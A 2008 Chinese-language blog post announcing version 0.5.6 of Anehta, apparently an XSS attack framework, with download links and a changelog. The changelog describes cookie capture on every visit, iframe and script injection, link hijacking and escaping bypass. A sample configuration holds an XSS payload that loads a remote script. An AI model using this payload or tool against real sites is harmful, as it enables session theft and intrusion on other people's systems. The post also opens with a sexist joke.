Secur1ty just lik3 a girl. B0th of th3m h4ve s0me h0les. Y0u alw4ys try to f1nd the h0le, but n0t 3very tim3 y0u c4n 3xpl0it it!
查看文章 |
Anehta -- Anehta 0.5.6发布
2008-11-03 10:24
我很开心的宣布,Anehta 0.5.6 发布了! 下载地址为: http://anehta.googlecode.com/files/anehta-v0.5.6.zip http://anehta.googlecode.com/files/anehta-v0.5.6-withoutQQWry.zip 镜像下载为: http://www.nukeblog.cn/anehta/anehta-v0.5.6-withoutQQWry.rar (感谢nuke提供镜像) 这次作出了许多改进,以及修复了许多bug。 主要changelog如下: Bug Fix: 修正了slave/index.php中设置header的一处bug 修正了glype 中自定义cookie时找不到当前路径导致提交失败的bug 修复了admin.php和/slave/index.php中时区显示不正确的bug 修复了当水印为null时有时候会读取出错的bug fix其他一些小bug 功能调整: base.js改名为 anehta.js anehta.js 不再依赖于jQuery,可以单独加载 扫描签名移到scanner.js中,可选择性加载 修改了clx模块中取cookie的方式,改变成每次访问都发送cookie 将anehta.logger.logCache()移动到了更重要的clx.js中,保证该函数的运行 修改了anehta.inject.injectFlash,加强了兼容性和健壮性 修改了 anehta.inject.injectIframe, 增加了注入iframe的id 和 name属性 改变了logCache()函数的方法,从GET改成POST,支持提交大数据 修改了logCache()函数提交的数据,改变为每次只提交cache中变更的数据 后台realtimecmd提交采用base64编码,以绕过magic_quotes对特殊字符的转义。 发送邮件后从只删除log.txt变为删除整个目录 增加了safe_php库,修补了个别后台的XSS漏洞 调整了文件的目录,主要php文件都集中放到了server文件夹中 New Feature: 新增以下函数: anehta.inject.addIframe(); anehta.inject.injectCSS(); anehta.net.cssGet(); anehta.net.postFormIntoIframe(); anehta.detect.screenSize(); anehta.trick.hijackLink(); anehta.misc.getCurrentPage(); 新增了检测浏览器类型的方法,增加对浏览器指纹的判断,防止了userAgent伪造 统一了anehta.js中函数的命名规则:统一为,第一个单词小写,之后每个单词均大写开头字母:比如getCurrentPage(); 新增了help 模块,可以直接调用 anehta.help(); 查看API手册 新增一个配置脚本: /server/config.php ,可以通过该页面修改配置(admin.php默认集成了此页面) 关于使用: 下载后,只需要解压缩所有文件到某个目录就可以了 使用前先访问 http://xxxxx/anehta 会自动跳转到 http://xxxxx/anehta/server/admin.php 此次新增了对anehta的配置选项: ![]() 目前暂时不支持对mail.php 的配置,以后会加上,需要配置邮件的朋友,请手动打开 server/mail.php 进行配置。 在上面的配置中,修改 anehtaurl 后会自动配置到所有JS文件中,以上三个配置都需要写,不然无法生成正确的JS文件。 一个典型的配置如下: anehtaurl: http://www.a.com/anehta boomerangtarget: http://www.alimafia.com/xssDemo.html#'><script src=http://www.secwiki.com/anehta/branches/1/feed.js></script><' boomerangsrc: http://www.a.com/anehta/demo.html 修改成功后会显示上面三个设置的值,如果没修改成功,请再提交一次表单 如果要使用demo.html,请记得修改demo.html中的XSS引入feed.js的地址。 |
最近读者:
